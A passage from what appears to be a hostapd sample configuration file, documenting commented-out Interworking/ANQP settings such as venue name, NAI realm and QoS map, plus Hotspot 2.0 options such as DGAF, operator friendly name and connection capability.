venue_group and venue_type have to be set for Venue Name # information to be complete. #venue_name=eng:Example venue #venue_name=fin:Esimerkkipaikka # Alternative format for language:value strings: # (double quoted string, printf-escaped string) #venue_name=P"eng:Example venue" # Network Authentication Type # This parameter indicates what type of network authentication is used in the # network. # format: [redirect URL] # Network Authentication Type Indicator values: # 00 = Acceptance of terms and conditions # 01 = On-line enrollment supported # 02 = http/https redirection # 03 = DNS redirection #network_auth_type=00 #network_auth_type=02http://www.example.com/redirect/me/here/ # IP Address Type Availability # format: <1-octet encoded value as hex str> # (ipv4_type & 0x3f) << 2 | (ipv6_type & 0x3) # ipv4_type: # 0 = Address type not available # 1 = Public IPv4 address available # 2 = Port-restricted IPv4 address available # 3 = Single NATed private IPv4 address available # 4 = Double NATed private IPv4 address available # 5 = Port-restricted IPv4 address and single NATed IPv4 address available # 6 = Port-restricted IPv4 address and double NATed IPv4 address available # 7 = Availability of the address type is not known # ipv6_type: # 0 = Address type not available # 1 = Address type available # 2 = Availability of the address type not known #ipaddr_type_availability=14 # Domain Name # format: [,] #domain_name=example.com,another.example.com,yet-another.example.com # 3GPP Cellular Network information # format: [;][;...] #anqp_3gpp_cell_net=244,91;310,026;234,56 # NAI Realm information # One or more realm can be advertised. Each nai_realm line adds a new realm to # the set. These parameters provide information for stations using Interworking # network selection to allow automatic connection to a network based on # credentials. # format: ,[,][,][,...] # encoding: # 0 = Realm formatted in accordance with IETF RFC 4282 # 1 = UTF-8 formatted character string that is not formatted in # accordance with IETF RFC 4282 # NAI Realm(s): Semi-colon delimited NAI Realm(s) # EAP Method: [:<[AuthParam1:Val1]>][<[AuthParam2:Val2]>][...] # EAP Method types, see: # http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4 # AuthParam (Table 8-188 in IEEE Std 802.11-2012): # ID 2 = Non-EAP Inner Authentication Type # 1 = PAP, 2 = CHAP, 3 = MSCHAP, 4 = MSCHAPV2 # ID 3 = Inner authentication EAP Method Type # ID 5 = Credential Type # 1 = SIM, 2 = USIM, 3 = NFC Secure Element, 4 = Hardware Token, # 5 = Softoken, 6 = Certificate, 7 = username/password, 9 = Anonymous, # 10 = Vendor Specific #nai_realm=0,example.com;example.net # EAP methods EAP-TLS with certificate and EAP-TTLS/MSCHAPv2 with # username/password #nai_realm=0,example.org,13[5:6],21[2:4][5:7] # QoS Map Set configuration # # Comma delimited QoS Map Set in decimal values # (see IEEE Std 802.11-2012, 8.4.2.97) # # format: # [,],... # # There can be up to 21 optional DSCP Exceptions which are pairs of DSCP Value # (0..63 or 255) and User Priority (0..7). This is followed by eight DSCP Range # descriptions with DSCP Low Value and DSCP High Value pairs (0..63 or 255) for # each UP starting from 0. If both low and high value are set to 255, the # corresponding UP is not used. # # default: not set #qos_map_set=53,2,22,6,8,15,0,7,255,255,16,31,32,39,255,255,40,47,255,255 ##### Hotspot 2.0 ############################################################# # Enable Hotspot 2.0 support #hs20=1 # Disable Downstream Group-Addressed Forwarding (DGAF) # This can be used to configure a network where no group-addressed frames are # allowed. The AP will not forward any group-address frames to the stations and # random GTKs are issued for each station to prevent associated stations from # forging such frames to other stations in the BSS. #disable_dgaf=1 # OSU Server-Only Authenticated L2 Encryption Network #osen=1 # ANQP Domain ID (0..65535) # An identifier for a set of APs in an ESS that share the same common ANQP # information. 0 = Some of the ANQP information is unique to this AP (default). #anqp_domain_id=1234 # Deauthentication request timeout # If the RADIUS server indicates that the station is not allowed to connect to # the BSS/ESS, the AP can allow the station some time to download a # notification page (URL included in the message). This parameter sets that # timeout in seconds. #hs20_deauth_req_timeout=60 # Operator Friendly Name # This parameter can be used to configure one or more Operator Friendly Name # Duples. Each entry has a two or three character language code (ISO-639) # separated by colon from the operator friendly name string. #hs20_oper_friendly_name=eng:Example operator #hs20_oper_friendly_name=fin:Esimerkkioperaattori # Connection Capability # This can be used to advertise what type of IP traffic can be sent through the # hotspot (e.g., due to firewall allowing/blocking protocols/ports). # format: :: # IP Protocol: 1 = ICMP, 6 = TCP, 17 = UDP # Port Number: 0..65535 # Status: 0 = Closed, 1 = Open, 2 = Unknown # Each hs20_conn_capab line is added to the list of advertised tuples. #hs20_conn_capab=1:0:2 #hs20_conn_capab=6:22:1 #hs20_conn_capab=17:5060:0 # WAN Metrics # format: :
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